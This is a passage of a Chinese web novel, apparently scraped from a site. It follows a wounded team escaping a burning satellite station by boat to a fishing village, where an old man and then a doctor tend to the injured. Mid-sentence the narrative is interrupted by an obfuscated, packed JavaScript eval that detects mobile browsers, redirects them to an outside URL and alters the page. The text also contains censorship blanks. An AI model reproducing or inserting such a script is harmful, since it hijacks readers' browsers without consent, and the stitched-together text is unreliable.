明明刚才那场量子终端的惊天爆炸足以令任何人心惊，但很快，这群不知死活的亡命徒还是循着异动赶来，显然是想坐收渔利或斩草除根。毕竟对他们来说，教授手中的数据、量子程序的残余以及可能带来的庞大利益，都是难以抗拒的诱惑。学姐轻轻挑眉，小声嘱咐林忻：“待会若有混乱，先护住乔伊和教授。我们不能在这里死战，搞不好他们的火力更强。” 林忻利落地点头：“是。可我们又该往哪儿去？”她语气中透着冷静却又艰难——这个残破不堪的阴暗处，似乎已是他们所能找到的唯一遮蔽。如果再随意移动教授，万一他身体无法承受，那就等同于自杀。可是继续留在这里，面对十几个人的围攻，同样毫无胜算。 乔伊忽然睁开黯淡的眼睛，费力说道：“……把教授抬到……后墙……那儿通向地下管道……”她这么虚弱，却还在努力给队友提供新的思路。学姐愣了愣：“你见过那边？”乔伊点点头，呼吸急促：“在最初的……图纸里……他给我看过……这里应该还有废弃的紧急舱……通往岛屿地下……也许能通到一处隐蔽港口……”她说到后面，语速越来越慢，似随时可能再次晕去。 然而，这段关键的讯息让众人心中一亮。教授当初一早就来过这座卫星站，很可能熟悉内部的结构并做了备选方案。此刻，能够避开敌人的途径，也许就是那个隐蔽的地道。 “好。我们试一试。”顾子衿喃喃道，她挣扎着站起身，活动僵硬的四肢，握紧武器，“我来断后，林忻你带路，学姐负责搀扶乔伊。教授……我们要尽量减少晃动。不过如果那些家伙还是要追，就得硬碰硬了。”她神情有一种冷峻决然，与往常的默契作风不同，如同要在风暴中心独自扛下所有冲击。学姐看她那副面无表情的样子，心里隐隐不安，却也明白目前没有别的选择，只能给予信任。 他们匆匆做了分工。林忻咬牙，小心地从废墟中搜出一个破旧的手推架，原本是卫星站内部运送物资用的，小半边已经断裂，但勉强还能当做临时担架使用。她和学姐合力将教授缓缓移上去，又用布条把他固定住，免得碰撞伤到脑部。乔伊则勉强自行走了几步，但状态实在太差，最后只能半跪着攀住学姐的小臂，双腿一软又跌回地上。学姐心疼地扶着她：“你不用逞强，我们慢慢来。” 就在他们动作的时候，外面脚步声愈发清晰，还伴随着压低的呵斥。顾子衿竖起耳朵，心里将敌人可能踏入的时间精确到秒。她轻轻碰了碰腰间剩下的弹夹，只够再打一两个短点射，随后可能就要进入白刃厮杀。她暗暗下定决心，一旦局势不利，就算拼了这条命，也要为同伴争取一次逃生的机会。 “我们走！”林忻艰难地将教授的推车往后墙移去，地面满是凹凸碎石，稍一用力就会发出咯吱的声响。她不住回头望顾子衿，后者弯腰匍匐前进，将身体贴靠在一堆废墟后，以枪口对准破裂的门框。学姐搀扶着乔伊，跟在推车后面，小心控制着乔伊的重心。乔伊咬牙忍住背部艺烧似的痛苦，不敢多发一声，生怕惊动了外头那群可怕的猎食者。 正当林忻将推车一点点挪进后墙的破口时，院外忽然传来一声大喝：“里面有人！抓住他们！”随即是一阵慌乱脚步声。紧接着，顾子衿听到门口哗啦一声，像是有人踢开倒塌的铁门，紧张的心绪骤然膨胀到极点。她想也没想，抬枪便朝那边狠狠开了一个短点射。火舌一闪，伴随着一声惨叫。有人翻倒在地，周围顿时枪声大作。 “快！”她低沉吼道，毫不犹豫从废墟后探身闪出，枪□□替扫射，想用连续的火力封锁敌人的推进。那几名黑暗中的身影先是慌乱了一瞬，但对方毕竟也是惯于刀头舔血的亡命徒，很快调整掩体阵形，其中有人嘶哑着声音命令：“散开，别给那娘们儿留死角！”当下，就有两三个人蹲身绕到卫星站侧翼，试图从另一个破洞墙面切入，来包抄顾子衿。 屋内，林忻已经把教授和乔伊从一个破裂的后墙狭缝挪出去。那道裂缝后面，果然出现一道黑漆漆的过道，似乎与地下结构相连。学姐大喜过望，一边尽力用身子挡着乔伊，一边回头焦虑呼喊：“顾子衿，快跟上！”顾子衿却没有回应。她抬手连开数枪，震得肩膀生疼，手心早已因失血和疲惫浸满冷汗。刚才她的子弹打中一人，却也吸引了更多敌火。若她自顾逃离，就算能带着队友一起进去，那群人依旧可能尾随追至地道。更糟的是，若让他们发现量子终端还留在这里，势必会被捣毁或窃走，那教授先前的心血同样化为乌有。 她大脑急转，突然想到一个险招：或许可以引爆之前林忻留下的那几瓶简易燃油陷阱，把卫星站主楼彻底炸塌，让通向大厅的路径坍塌掉，敌人就无法轻易追来。可如此也意味着量子终端在爆炸中被毁，甚至整栋建筑可能再度崩塌，波及到他们自己。顾子衿心底纠结，不过眨眼功夫，就要做出决断：保住终端，还是保住自己与同伴？ “我们已经完成命运扰动！”她在心里怒吼，“纵使终端被毁，也未必就彻底失去一切。只要教授还活着，只要程序已注入关键变量，我们就还有翻盘机会！”思绪落定，她立刻拖着伤腿迅速挪到最外侧的墙基，找到了林忻事先布好的油桶，手忙脚乱地扯出那条细绳与钢丝。枪声中，她紧咬牙关，猛地拔出随身火柴，点燃浸过油的破布。这一瞬，她眼里似有火光爆燃：“对不起了——再见吧。” 她奋力将带火的布团扔进油桶，同时顺手踹翻另一个小罐，两股危险的气味随即弥漫在空气中，伴随刺鼻的烟雾翻腾而起。顾子衿知道这是最后的机会，她飞快后退，趁那几名敌人被火光骚扰愣神之际，用尽全力朝后墙裂缝的方向扑去。几乎与此同时，狂猛的燃烧气浪轰然爆发，火舌呼啸着舔上半塌的屋梁，连带那些原本勉强支撑的钢筋与碎石瞬间失去平衡，接二连三砸下。一蓬蓬黑烟、高温和浓密垮塌的声响交织在一起，让人仿佛置身地狱烈焰。 余波以令人窒息的速度朝顾子衿追赶，她就地翻滚，险险避过飞来的钢筋碎片，最后半边身体撞到墙角，痛得眼前一阵金星乱冒。火光吞噬屋内一切，量子终端连同钢架、仪器和破破烂烂的天花板全陷入熊熊焰海。那群黑市亡命徒惊叫连连，火光中也不知多少人被砸在乱石里，再也看不见生机。 她嘶哑地咳血，努力让自己别就此昏厥。回过神时，发现身后的破墙裂缝还在，好像侥幸没被完全堵死。她扶住墙勉强站起，一瘸一拐地挤进去，看见前方黑暗的过道里亮着微弱的灯光——那是学姐过来接应所用的手电。她缓了口气，在剧烈咳嗽中闷声笑道：“终端……或许不能陪我们到最后了，可希望至少不会断送在这些豺狼手上。” 穿过狭窄的通道是一条阶梯状的地面，潮湿的气味扑鼻而来，墙壁上布满青苔。若非乔伊事先指出，这里看上去简直像被人遗忘了几十年。学姐站在台阶下，小心撑着乔伊的腰，让她尽量把重心分散在扶手上。但乔伊显然支撑不住了，她嘴唇失去血色，每一步都浑身打颤。林忻那边则竭力推着铺了破布的简易小车，让教授躺得平稳一点。见到顾子衿终于出现，学姐大大松了口气，声音颤抖：“你……你还好吧？我们听到上面爆炸声那么响，以为你……” 顾子衿咳得说不出话，只能朝她疲惫地摆摆手，示意没大碍。她回头看了眼那裂缝的方向，火光已被层层浸透的烟雾与塌陷迎头遮住。想必这场大火足以让他们后方的道路彻底变为绝境。接下来敌人若真想紧追不舍，要么从外面绕道搜寻这个地道入口，要么直接准备更大的火力轰开废墟。但不管如何，至少暂时他们安全了几分钟。 乔伊微弱地问：“终端……毁了吗？”她眼中闪过一丝复杂的失落。那台凝聚教授毕生心血的量子设备，没想到最终还是葬身火海。顾子衿看着她那纠结无奈的神色，心里也有种无言的酸涩，只能轻声安慰：“它完成了使命……最关键的数据已经传达到某个维度。毁掉不过是躯壳，也许不会影响最终结果。”她不确定这样说对不对???但只想给乔伊留下一点希望。乔伊黯然点头，忽而无力地靠在学姐肩头，不再说话。 他们继续向下摸索。一段湿滑的阶梯后，出现一扇铁门，门板上遍布锈迹。林忻试着用随身工具撬动门锁，却发现里头卡得严严实实，一时半会儿难以打开。学姐蹲下：“用爆破吗？”可他们已经没有可用于爆破的炸药，只剩几枚手榴弹式的简易改装品，一旦使用，不但会震坏门板，更可能在狭窄空间里把自己炸伤。她咬牙沉吟：“有没有更柔和的方法……也许那边藏着什么开关？” 乔伊忽然皱皱眉，像想起什么，轻声说：“教授……曾提过……这类配套门，旁边也许有动力阀……供紧急状态下自动开启……在左侧墙壁……”林忻顿时意识到什么，用手电仔细照向左侧那凹陷的角落，果然发现一道破裂的铁罩，里面似乎有复杂的机械结构，被厚厚灰尘掩盖。她赶忙清理，发现其中一根弯曲的管子很像手柄，于是尝试转动。咔哒一声轻响，紧接着铁门发出低沉的哧啦声，缓缓对外敞开一条缝隙。 学姐露出惊喜的神色，小心将门板往外推。破门后面是更深的通道，一股潮湿的海腥气扑面而来，仿佛直通地下海湾。她佩服地看向乔伊：“你这记性……比我们都要强。”乔伊原本疲惫至极，却勉强笑了笑，似乎在说：“教授教过我的，再模糊，我也要记得。” 通道里只有昏暗的紧急照明灯，发出忽明忽暗的光晕。几人艰难往前走，脚下淌着浅浅的积水，旁边的墙壁偶尔苔藓脱落，露出斑驳的金属管道。再往深处，就能听见不规则的水声，像潮汐拍打岩壁，又像巨大的暗流穿过狭井。行至一半，乔伊突然咳出一口血，软倒在地。学姐和林忻同时惊呼，顾子衿也一瞬间冲上来：“乔伊！”他们匆忙蹲下探她脉搏，发现她还在呼吸，但很微弱。她背部的伤口也许在刚才的挪动中又撕裂了。 破损的止血布条无济于事，乔伊全身发冷。林忻握着她的手，感到那温度正一点一点流失。她心乱如麻：“可恶，这里又找不到新的医药箱。”学姐沉着脸，用力按住乔伊后背涌出的鲜血，把身上最后一块干净衣料扯下来做紧急压迫：“真不行就只能用海水清洗，但那几乎等同于自杀，会感染更严重。” 顾子衿意识到他们不能在这里僵持太久，否则后方敌人即使无法通过废墟，也还有可能从别的地道口包抄。教授还没醒来，乔伊生死未卜，大家都仅剩半条命能撑。她再度咬紧牙关，强制让自己冷静下来：“必须尽快找到出口。也许在地下港口能拖条船，或在附近小镇寻到医生。只要能离开这一带，就还有一线生机。”众人闻言，精神稍稍提振。学姐抱紧乔伊，让林忻推教授的小车，几个人加快了脚步。 终于，通道尽头出现一扇厚重的合金门。门板已裂开不少缝隙，似乎受某次地质变动或火力冲击的影响。潮湿的风夹带腥味呼呼吹入，门缝外仿佛是空旷的洞穴。顾子衿凑近一看，门下方还淌着海水痕迹，看来这后方果然与海相通。她心里极度兴奋：“可以逃出这片死地了——大家再坚持一下！”她扭头看学姐，示意将乔伊先扶到一旁，以免冲撞到伤口，自己则猛力把那扇破门推开。门外果然是一个不大不小的山洞，里面兀自有一道天然水道，黑色暗流不停拍打岩壁，水面上波光粼粼。 林忻惊喜之余，也心生疑虑：“这海湾怎么会埋在地下？看起来像个天然溶洞，顶部还有塌陷过的痕迹。”看情形，教授当初大概猜到此处秘密，否则不会在卫星站设计一条私密的通路。顾子衿简短检查了一下四周，很快在岸边发现一艘老旧的木船，外加破烂桨架，似乎早已年久失修。学姐上前蹲下查看：“这船还能用吗？若再腐朽一碰就散，可就糟了。” “试试吧。”顾子衿抿嘴，把船往水里推了一段，感觉船底还算牢固，虽然吱呀作响，但暂时没大洞。她给林忻打了个手势：“先把教授扶上去。”林忻与学姐合力把教授小心翼翼抬上船，铺一层旧帆布当作垫子，再让乔伊跟着，也安置在船舷内侧。乔伊睫毛轻颤，偶尔睁眼看看众人，似乎想帮点什么，却根本无法动弹。学姐心疼地轻抚她发丝：“别乱动，好好养神。” 岸边积水没过脚腕，洞顶半塌的石块不断往下滴水，砸在船边噼啪作响。顾子衿和林忻小声商量：“我们立刻划出去？外面夜色茫茫，有敌人埋伏也不知道。”林忻咬着唇望向那通往外海的漆黑通道：“可我们没有更多选择，让他们找来更强的装备，就算墙塌了也能挖开，到时候我们就再无退路。” 顾子衿深吸口气，似下定重大决心：“走。”她翻上船，与林忻分别拿起两只木浆。学姐扶着乔伊坐在船中央，检查教授的鼻息。“你们要小心一点，”她压低声音，“别弄翻了。”顾子衿一脚踢离岸边，让船慢慢离开那狭小的洞口，黑暗的海水一下子涌进船底，发出咕咚咕咚的拍击声，仿佛有无数双看不见的手在拖拽。 他们顺着这条曲折水道往外划，一开始还有些堆积的碎石阻挡，船底不时被擦得嘎啦作响。林忻怀疑这片通道曾有过塌方，时不时要折返一下再找通路，但潮汐声指引着他们朝更宽阔处前进。花了浑身力气，也不知道到底过了多久，面前逐渐出现暗夜的微光。那是月色映照在海面上，随着波纹轻轻颤动，让人恍若见到生机。 学姐、林忻和顾子衿无不喜出望外。船头穿过最后一片狭窄的峭壁罅隙，一股寒冷的夜风立刻扑上来，夹带着浓郁的海洋气息。跃入眼帘的，是一片开阔的暗夜海域。远处似有断断续续的灯火，或许是别的船只，或许是海岸点点人家。天边还有淡淡的云幕，闪烁下方，雷声似乎被隔在更远的天际。 林忻轻叹：“我们……真就这样逃出来了吗？”她一时心绪复杂，既有对劫后余生的侥幸，也对被迫抛下量子终端的惶惑。学姐用力压一下她肩膀：“别分心，先找安全的地方靠岸。乔伊和教授坚持不了多久。”她声音平稳，却藏着急迫。看乔伊如今神色，几乎就像把半条命留在卫星站里，稍有闪失恐怕真要魂归天国。 顾子衿抹了把脸上咸涩的海水，环顾四周：“能看到岸吗？我们必须找个僻静的港湾，最好远离那些黑市势力。”她把木浆插入漆黑的海面，好似在摸索方向。月光下的海面如同巨兽翻腾，浪头不断卷来，船身摇晃得让人头晕。学姐伸长脖子望去，却看不清岸线。半晌，她示意林忻拿出携带的小型卫星定位器，可那玩意儿失去信号支撑，根本无法启动。如今他们彷佛流落茫茫深夜的孤舟，只能任由海浪推到哪里，就到哪里。 乔伊迷迷糊糊地睁眼：“可不可以……先顺着海流向西？”她努力试着回忆儿时看过的航线图，“如果这岛的西面有座偏僻的……渔村……也许能在那里找到医生……”说到最后，她又咳出血来，声若游丝。学姐慌了：“你别再说话，安静躺好。我们划船去找。”乔伊勉力扯扯嘴角，似乎想说句“谢谢”，却阵阵天旋地转，再次险些昏厥。 她们立刻依照乔伊的提示尝试转舵，让船朝西侧航行。夜色深沉，四下只有幽暗的海浪声和风声，偶尔远方似乎会亮起一点白色灯塔的闪光，又转瞬被云层覆盖。学姐额头冒出冷汗：万一找不到合适的落脚点，他们在海上漂流到天亮，也不见得能见到哪个医疗点，更别说能帮教授做深度治疗。加上此处势力错综，随时仍可能碰上“黑市”或“H”组织的人马在海上巡弋。若被他们盯上，后果不堪设想。 正在焦灼之际，顾子衿眼尖，突然低吼：“躲起来，快熄灯！”她指向前方海面，一道涂黑的快艇正从远处高速驶来，隐隐约约有灯光闪烁，但很微弱。那艇上似乎载着多人，用的可能是消声马达，动作诡谲。她生怕对方注意到他们的小破船，于是赶紧熄灭手电，弯腰伏在船舷内。学姐、林忻也跟着她动作，把脑袋压到最下方，连句气都不敢大喘。 几分钟后，那艘快艇似乎没发现他们，呼啸着往另一方向去了。等声音远了，林忻才稍微舒口气。她心跳仍旧砰砰作响。顾子衿脸色阴沉：“这片水域现在成了□□和糜烂势力的战场，也不知‘H’组织有没有朝这边逼近。我们要尽快离开。” 船身继续在暗流里漂泊，时而被海浪推远，时而划出一小段距离。就在众人无比煎熬之际，天空忽然传来轰隆雷声。乌云翻滚，夜雨淅淅沥沥落下，拍打在船篷和人的肩头。狂风贪恋地席卷着他们脆弱的躯体，船身摇晃更烈，每一次浪头袭来，都像要将这条破旧木船整个拍翻。学姐扶住乔伊，不让她跟随船身颠簸过猛，林忻用尽全力划桨也无法保持航向。顾子衿咬牙，暗暗祈求老天至少别把他们掀到漩涡里。 暴雨来得凶猛，却去得也快，约莫半小时后，雨势稍减，漆黑的海面腾起白茫茫的水雾。风浪虽然未停，但总算能让林忻和顾子衿稳定住方向。就在这时，学姐眼尖，一把指向前方朦胧的岸影：“那边似乎有灯光……好像是码头？”顾子衿闻言，赶紧蹲起稍微探头。果然，看似一片低矮的建筑影子隐婆在雾气里，还有昏黄的灯闪烁。也许那里就是乔伊所说的渔村。 “走！”林忻咬牙，和顾子衿合力把船朝那片影子划去。近一些之后，可以看见岸边似乎停着几艘小木船与小渔舟，岸上的房屋零散。夜深时分并无多人活动，但偶尔可见昏暗灯火透出，证明那里仍有生人气息。对他们来说，这已经是大海里唯一的救命稻草。 船在岸边搁浅时，大家都筋疲力尽。顾子衿把木桨扔到一旁，几乎要趴倒在船里，但她强忍住虚弱感，第一个跳下去试着探路。浅滩的泥滩还有水坑，踩上去泥泞湿滑。学姐和林忻一起把教授和乔伊抬下船，乔伊整张脸惨白得没有一丝血色，背部的伤口不知道又流了多少血。教授依然昏迷，气息微弱，好在还没有断绝。 他们不敢贸然去敲任何一户人家，生怕村里错杂的势力或埋伏。林忻提着枪，有条不紊地在岸边试探走了几米，发现岸上只有一条窄小的石板道，似乎通往村子中央。期间没有看见可疑哨兵或巡逻队。似乎这儿只是一个安静闭塞的渔村，尚未被战火波及到。顾子衿果断表示：“先找个能遮风避雨的地方安顿，再想办法弄到药或者医生。” 他们小心翼翼绕过几处屋舍，最后在村口附近的一间破旧柴棚里找到一块干净的空地。柴棚由竹篱笆围成，里面堆满杂物，显然许久无人打理。勉强可以挡住夜风雨露。顾子衿示意学姐进去，把乔伊和教授放在堆好的稻草上。林忻提防出意外，守在门口警戒。月光下，乔伊的微弱呼吸让人揪心，教授也随着时间推移体温更低。医生若再找不到，怕是真的熬不过今夜。 学姐心里一阵难过，柔声对乔伊说：“你发现没有，海浪声如今听起来似乎宽和了些，不再如先前那般绝望。”乔伊没有力气回应，却像勉强嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083962|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角动了动，显然她还在抗争。顾子衿皱眉，沉吟几秒：“我去找村里人问问情况，顺便探一探风声。”林忻马上拦住她：“万一遇到敌人怎么办？你一人孤身去？” “没办法。”顾子衿垂头看了看湿透的衣服，“乔伊和教授都没剩多少时间了。不赌这一把，我们只能在这里看着他们等死。”她随即抬头，眼神里充满孤注一掷的坚毅，“你们待在这儿，不要出声。有人来就先躲。若真有埋伏，至少守得住阵地。”林忻还想再说什么，却被她挥手阻止：“放心，我不会把命赔给那些人渣的。” 她撩起破旧外套，把脸面和头发尽量遮住，悄无声息地走出柴棚，融入夜雾中。学姐望着她背影，看出她并非莽撞，有时却愿意为朋友火中取栗。她心中五味杂陈，转回头凝视乔伊，只见乔伊又咳出一口血，她赶紧用力按住那道伤口：“坚持住，我们的希望还在。” 夜色更浓，伴着海雾与风声，渔村呈现沉睡姿态。顾子衿小心穿梭于一间间破旧屋舍之间，时不时停下凝听动静。她意外地发现，这里真的很平静，没有巡逻的枪手，也没见□□标志。偶有几只狗发出低吠，却也因为她隐蔽动作很快悄然离开。借着微弱月光，她找到一户仍亮着煤油灯的老房子。窗户没关严，橘黄色光影落在满是泥点的墙上，像一个古老的故事等待被叩问。 她趴在窗下，侧耳倾听，里头似乎只有一个老人的咳嗽声，也没有第二个人的回音。顾子衿狠了狠心，认为就算要寻医问药，一个孤身的老人若真有药箱或者经验，也总比去找陌生帮派要安全。她举手，轻轻叩了两下老木门。里面的人显然吓了一跳，吹灭灯火后才谨慎问：“谁？”声音苍老而沙哑。 “对不起，打扰您了。”顾子衿用极压低的声音回答，“我们是外来人，需要寻求帮助，有重伤员……拜托了，救救我们……”她不知道对方是否真有善心，但只能赌这一点人性的光芒。屋里传来一阵沉默，随后有人颤巍巍地打开了门缝，借着月光可以看见一张满是皱纹且带着深深戒备的脸。那老人声音依旧沙哑，却能听出一丝犹疑与谨慎：“赶紧走，你们不该来这里。” 顾子衿心头一凉，却依旧哀求：“老伯，我们只是路过，身边两人生命垂危，又冷又饿，实在熬不住了。如果您知道村里哪里有医生或药，我会付钱……”她从怀里拿出几张皱巴巴的纸币，却不确定对方是否在意金钱。当今乱世，或许钱早变成废纸。 老人盯着她看了几秒，像是确认她并无恶意，而后叹息一声：“这村子很穷，没有什么医生，年轻人跑光了。但我……以前跟医疗队打过杂，也略懂几手止血包扎。”他的话里带着一点迟疑，“你确定要我帮？” 顾子衿心里大喜，连忙弯腰道谢：“真的？请一定帮我们——我有个同伴还在柴棚那边，她伤口很深，背部可能感染。还有一个老先生也昏迷很久了……”老人皱眉，合上门，踱步去角落收拾一只油渍斑斑的小药箱，然后把门板往里一推：“好吧，带路。” 就这样，老人跟着顾子衿一路摸回村口的柴棚。林忻和学姐最初见到个陌生老人，也紧张得举枪对着他。顾子衿急忙制止道：“别误会，他是来帮忙的。”老人看着棚里两个奄奄一息的重伤者，也吓了一跳，嘟囔着：“这是受了什么伤？你们到底干了什么……”话虽如此，他还是熟练地卷起袖子，示意保持安静，先给乔伊简单检查。乔伊背部皮肉翻卷，伤口有焦灼痕迹和弹片划痕，老人吸了口冷气。可他也没多问，只是让林忻拿来干净水源，他自己从药箱里翻出敷料和某些止痛针，动作虽不算专业，却也是久经沙场的老手。乔伊幽幽醒来时，痛得直冒冷汗，但起码能再睁眼说两句。 等给乔伊做完初步包扎，老人再查看教授。教授情况更糟，体温极低，面色宛如死人。老人摇头，好半天才说：“这人怕是伤到要害，我的手段只能保证不再让他继续恶化，具体能不能醒，全看他自己意志。要送到正经医院可不容易……”说到这里，老人又是一阵嘀咕：“如今这乱世，穷乡僻壤连药房都快没了。” 学姐捏紧拳头：“我们不过是想活下去。”她凝视那昏迷不醒的教授，心中有千般感慨。顾子衿摸摸口袋，拿出剩下的纸币都递给老人：“我们没什么好回报的，只求您再帮我们一程……如果有人问起，就说没见过我们。”老人面带苦涩地接过，却没有攥紧，只是把它放在怀里，像是不愿占他们的便宜：“罢了，我也没别的办法。你们想留下躲一阵，就留在柴棚或后面的破仓库。万一外头来了凶人，我也护不住你们。” 这个简短的对话，令所有人心中五味杂陈。没有料到，一路血与火的逃亡，却在最后关头得到一位素昧平生老人的帮助。朴实的渔村房舍里或许隐藏各种未知，但眼前这条老命似乎是真的善良。林忻望着夜空中破碎的月亮，小声说：“谢谢您，老伯……我们只需要一点时间。” 乔伊在极度虚弱中慢慢沉入浅眠，脸庞不再那么痛苦，学姐用干净布料给她擦了擦额角的汗。老人从怀里摸出不少土制药粉，用破碗倒上雨水，嘱咐学姐把它喂给乔伊：“至少能防发烧。”至于教授，他摇头：“得有人每天替他记得翻身、擦洗。更多就无法可想。” 林忻心里一阵惆怅：“我们也不知道还能撑多久。”她望向顾子衿，眼里突然浮现出对未来的恐慌。终端既毁，教授昏迷，乔伊伤重，而自己等人也不过刚刚死里逃生——这场抗争，是否真的有意义？还是说，他们已经走到命运尽头？顾子衿面色凝重，却一句话也没说，只是将枪抱在怀里，静静听着外头淅淅沥沥的雨声。这场雨不再像先前那般暴烈，却似乎永无止境。 过了片刻，老人才带着木箱站起来，对顾子衿说：“若想找更好的医生，建议你们白天先别乱走，实在要去，就夜里绕后山小路到镇上。我年纪大了，腿脚不好，跟不了你们太远……”顾子衿深深鞠躬道谢：“已经帮了我们大忙，若有机会，我们会再报答您。”老人只是再度嘟囔几句，随后拎着小灯，消失在夜茫茫的村路后。 柴棚里陷入一阵沉寂，学姐、林忻都困顿到了极点，却又不敢真正放松。林忻硬撑着守夜，让学姐趁机眯会儿。顾子衿搬张破木凳，看住柴棚门口，还时不时探头张望。她心底乱如麻：黑市余党和“H”组织的后续行动会不会追到这个渔村？那个拉普拉斯妖是否已感应到量子终端被毁，进而在全球展开更猛烈的报复？她有太多疑问，却又无人可谈。这时，她突然听见乔伊嘴里喃喃自语，似是在梦里说话。她忙蹲下，轻轻握住乔伊指尖：“我在呢，你别怕。” 乔伊没有醒，只是本能地攥了攥她的手，那掌心冰凉得让人揪心。顾子衿想起白天在卫星站做脑波采样时，乔伊多少算是救她一命——若非乔伊给出了最终破釜沉舟的催化思路，自己根本无法进入那个疯狂境地。如今乔伊却伤至如此田地，生命随时可能流逝。她在心里暗暗发誓：一定要想办法带着乔伊、带着教授活下去。既然他们已经把命运扰动注入世界，就绝不能在这里倒下。 能否真的打破拉普拉斯妖的宿命之眼？她不知道。但至少她要尽到一个队友和战士的职责。怀抱着这个信念，顾子衿强忍酸痛，凝望着夜色渐深的渔村。雨声淅沥，海浪在远处艰难拍岸，一切仿佛都等待明日的新一轮搏杀到来。 翌日凌晨，外头依旧雾蒙蒙。雨势停了，但水洼四处可见，满路泥泞。村里偶有鸡啼狗吠，却不见成群人声。学姐仔细听了听，也感知不到任何车辆引擎或可疑的杂乱脚步。太阳还没升起，顾子衿打算趁天没大亮时，到村外小路踩点，看看能否找到一条安全去镇上的山路，好给乔伊和教授争取到更专业的医疗。她征求大家意见，学姐觉得无论如何都要冒险一试。乔伊也在迷糊中说：“去吧……别管我……”其实她哪里真能放下自己的安危，只是知道就这样等，大家都会被命运拖死。 林忻也不放心让顾子衿独自行动，坚持要结伴而行。学姐则留在柴棚内，一边继续照看乔伊和教授，一边负责应对突发状况。商量完后，顾子衿和林忻整好装备，翻出干燥的衣物穿上，天还未亮透就踩着湿滑泥土出发。她们走得不快，每前行几步就要先观察地形，见村里多为老旧房舍，没有高耸建筑，也看不见通电的痕迹，果然是个极度偏僻的落后小渔村。 当行至村口的林间小路时，一个人突然神出鬼没般钻出灌木对她们喊：“别开枪！是我！”声音沙哑，竟是昨夜那位老人。他拿着一只小筐，里面放着几块干饼和两个老番薯。“你们打算去镇上吧？这路可不好走，山林里野狗成群，近几年还闹过几次土匪。要不是年轻人跑了个光，我也乐意送你们一程。”他夹着咳嗽，显得有些无奈，“带上这些吃的，别饿倒在路上。” 顾子衿与林忻俱是一愣，没想到老人竟特意来这里等。她们心中暗暗感激，收下食物后，道了几声谢。老人又嘱咐些注意事项，叮咛镇上如今也不太太平，即便找着医生也得留心兵匪横生。林忻听得眼睛微红：“老伯，您当年真的只是在医疗队里打杂吗？”对方笑而不语，也不多解释，摆摆手示意她们快走。“老了，我管不动那么多，但看你们是真不容易。” 目送老人背影消失在薄雾之中，顾子衿感到一股莫名暖意，或许人性深处始终留有善良的火花。即便世界乱成这样，总还会有人保留光与良善，将之分给身陷绝境者。她与林忻对视一眼，没有再多言，两人继续踏上前往镇子的泥泞小路，而身后的渔村逐渐被灰蒙蒙的雾墙吞没…… —— 他们不知道，正当破旧柴棚里尚且残留一丝温暖时，离此不远处的海上一艘黑色舰艇正安静驶近陆地。舷侧的标志并不属于黑市或任何常见集团，而是印着个抽象般的符号“∞”，在昏暗光线中闪烁着冰冷的银辉。舰桥上，几个全副武装的人影默默注视着雷达与屏幕，似是在搜索某片区域的信号。那为首的男人戴着金属护目镜，将通讯器凑到唇边，声音仿佛石子碾过砂纸：“……他们应该已经离开卫星站，往西海岸搜。”说罢，他缓缓合上通讯器，面无表情地仰望灰沉沉的天空。 拉普拉斯妖从未停止凝视这片大地。若“命运扰动”真已打破某些既定轨迹，谁又能料到下一个卷土重来会是什么？这寂静雷霆的清晨，只是新一□□风雨的前奏。 当柴棚里的学姐忽感后脊一凉时，他们的命运轨迹已开始在更深层面彻底改变。也许下一刻，被惊起的野狗嘶吠，将引出潜伏在森林里的某支武装；也许西镇灰败的街头，正会迎来迄今为止最危险的伏击。量子终端被毁，但扰动的开关已被悄然打开，拉普拉斯妖卷土时，也许便是一场世界性风暴。所有人都在等待下一次对决——那将是自由意志与宿命之网更加白热化的厮杀。 35.雾海深处的微光 漫天灰云终究散得零零落落，夕阳余晖在海面上洒下一抹浅橘，柴棚四周的潮气也稍稍褪去。就是在这般既寂静又充满隐患的时刻，顾子衿和林忻带着张医生，一道踏回了渔村。随着车轮在湿泥地上碾过的声响，一段新的命运抉择悄然展开。 张医生拎着沉重的医疗箱，一看柴棚的破旧环境，眉头紧皱：“你们真在这儿藏身？条件也太差。”顾子衿疲倦地作了个简短解释：“这里暂时没人关注，对受伤的乔伊和教授也算稍微安全。医生，只求你尽力。”没有多余寒暄，几人迅速钻进柴棚，让学姐把乔伊扶到临时铺垫的木板上。乔伊神智时醒时昏，虚弱得连说话都几乎困难，只能发出痛苦的低吟。 张医生先摘下她身后的简易敷料，见那焦灼与弹片损伤交织在一起，化脓面已延伸到半个背侧，不禁倒吸一口凉气。他从箱子里勉强取出些高强度麻醉剂以及必要的手术器械，对学姐吩咐：“快烧热水，量尽可能多。还要找干净布料……我得马上处理坏死组织，否则人撑不过今晚。” 林忻一听这话，心猛地颤抖了一下。不过她知道，现在不是惊慌的时候，只能按照医生指示去拾掇各种物品。顾子衿守在乔伊旁，一边用手轻抚她额头，又对张医生郑重说道：“医生，需要什么尽管告诉我。只要我能找来，就一定尽力。”她望着乔伊伤口时，心里一阵钝痛。她回想起曾在卫星站顶楼，乔伊冒死协作量子终端的那副决绝模样，仿佛那一刻便注定今日的苦难。 手术过程并不顺利。卫生条件无法保障，手术刀在盐水里反复冲洗消毒依旧赶不上正规程序，张医生手心是汗，就连学姐也被指派来递刀打下手，手忙脚乱中差点翻了盆水。乔伊虽被注射了麻醉，但她体质原本就受创，药效时常不稳定，稍有失控就痛得颤抖抽搐。整个过程间断地拉长了近两个小时，期间乔伊发出的低沉呜咽声令所有人心惊，几度担心她就此挺不过去。 幸而张医生毕竟在乱世里见过大场面，他咬牙稳住阵脚，按着最保守的方式把坏死组织切除，并灌注了大量生理盐水清理伤口。直到最后缝合时，他一抹额头冷汗：“暂时能保住性命，但要是再度发烧，我的药量也跟不上了……” 